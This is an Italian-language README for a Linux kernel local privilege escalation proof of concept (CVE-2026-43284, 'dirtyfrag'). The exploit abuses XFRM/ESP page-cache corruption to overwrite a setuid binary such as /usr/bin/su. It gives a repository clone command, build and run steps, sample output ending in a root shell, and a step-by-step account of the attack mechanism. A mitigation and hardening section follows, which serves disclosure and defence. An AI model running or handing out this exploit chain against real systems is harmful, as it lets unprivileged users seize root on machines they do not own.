CVE-2026-43284 — XFRM/ESP da 4 byte

Proof-of-concept di escalation dei privilegi locale tramite corruzione della page-cache XFRM/ESP
_{Primitiva di scrittura a 4 byte · 48 iterazioni · sovrascrittura ELF da 192 byte · utente non privilegiato + netns}

Prova di concetto

Sinistra: preflight del kernel, scansione setuid e catena dell'exploit  ·  Destra: shell di root avviata — id / whoami confermano uid=0(root)
_{Testato su WSL2 · Ubuntu 24.04.1 LTS · kernel 6.6.87.2-microsoft-standard-WSL2}

  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

Disclaimer: Solo per ricerca sulla sicurezza autorizzata, formazione e test su sistemi di tua proprietà o per i quali hai esplicito permesso di testare. Gli autori non sono responsabili di un uso improprio.

Panoramica

Funziona anche quando algif_aead è in blacklist: l'exploit usa direttamente il percorso del codice XFRM/ESP del kernel.

Funzionalità

Controlli preliminari integrati prima dello sfruttamento:

1. Configurazione del kernel — verifica CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP
   (legge /boot/config-*, /lib/modules/*/config o /proc/config.gz su WSL2)
2. Scansione setuid — elenca i binari SUID sul sistema (find / -perm -4000)
3. Exploit — modifica la page cache, avvia una shell di root via PTY, ripristina il target all'uscita

Requisiti

Opzioni del kernel

CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # or =y

Verifica rapida:

# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

Altro

• Kernel Linux vulnerabile a CVE-2026-43284 (vedi Patch status)
• gcc, libc, libutil (per forkpty)
• Binario setuid di destinazione leggibile (predefinito: /usr/bin/su)

Compilazione

git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

Oppure manualmente:

gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 è intenzionale: l'ottimizzazione può rompere il comportamento di splice/UDP sensibile ai tempi.

Utilizzo

1. Conferma di non essere privilegiato

id
# uid=1000(youruser) gid=1000(youruser) groups=...

2. Esegui l'exploit

./sley-dirtyfrag                  # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # custom setuid binary

Lo strumento esegue tre fasi automatiche:

3. Verifica l'accesso root

All'interno della shell avviata:

id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. Esci per ripristinare

Premi Ctrl+D o digita exit. Il PoC elimina la page cache così il binario originale su disco viene ripristinato automaticamente.

Se il ripristino fallisce:

echo 3 | sudo tee /proc/sys/vm/drop_caches

Riferimento comandi

Esempio di output

┌─[ phase 1] kernel config preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (required =y)
  [+] CONFIG_XFRM           = y  (required =y)
  [+] CONFIG_INET_ESP       = m  (required =m or =y)
  kernel options OK.

┌─[ phase 2] setuid binary scan
  10 /usr/bin/su  ← target
  found 14 setuid binaries.

┌─[ phase 3] exploit
  [*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
  [+] corrupt               all iterations done
  [+] verify                ELF patch detected

  ╔══════════════════════════════════════╗
  ║  root shell — exit to restore        ║
  ╚══════════════════════════════════════╝

Mitigazione

Applica la patch del kernel (consigliato)

Azione: aggiorna a un kernel della distribuzione che include la correzione, oppure compila da un albero mainline con patch.

# check your running kernel
uname -r

# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

Opzioni di hardening (difesa in profondità)

Limita i namespace utente non privilegiati

Questo exploit dipende da unshare(CLONE_NEWUSER | CLONE_NEWNET) senza root.

# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0

# or disable at build time
# CONFIG_USER_NS is not set

Nota: disabilitare i namespace utente blocca questo PoC ma non necessariamente CVE-2026-43500 (variante rxrpc per sistemi senza userns).

Controlla i binari setuid

find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need

Elimina le cache dopo un sospetto compromesso

Se ritieni che un binario setuid sia stato modificato in memoria:

echo 3 | sudo tee /proc/sys/vm/drop_caches
# re-verify binary integrity from package manager / known-good hash

Come funziona

1. unshare(CLONE_NEWUSER | CLONE_NEWNET) — namespace utente/rete isolato (nessun root necessario).
2. Registra 48 associazioni di sicurezza XFRM — byte dello shellcode codificati in ESN seq_hi (4 byte per SA).
3. Attivazione via porta UDP 4500 con UDP_ENCAP_ESPINUDP:
   • splice() legge il file di destinazione in una pipe
   • splice() sposta i dati dalla pipe → socket UDP
   • La pagina della page-cache entra nella lista scatter-gather ESP tramite il percorso skip_cow
   • Lo scatterwalk authencesn scrive seq_hi a assoclen + cryptlen
4. HMAC fallisce — ma la scrittura nella page-cache persiste.
5. Esegui il binario setuid modificato — la ELF minima esegue setuid(0) / setgid(0) / .

Ambienti testati

Lavori correlati

• CVE-2026-43500 — variante rxrpc per sistemi senza namespace utente; punta a /etc/passwd con una primitiva di brute-force da 8 byte pcbc(fcrypt). Non inclusa in questo repository.

File

Licenza

Fornito così com'è per ricerca e formazione. Usalo in modo responsabile.

Autore

SLEY — PoC dirtyfrag di CVE-2026-43284

Se questo ha aiutato la tua ricerca, considera di mettere una stella al repository.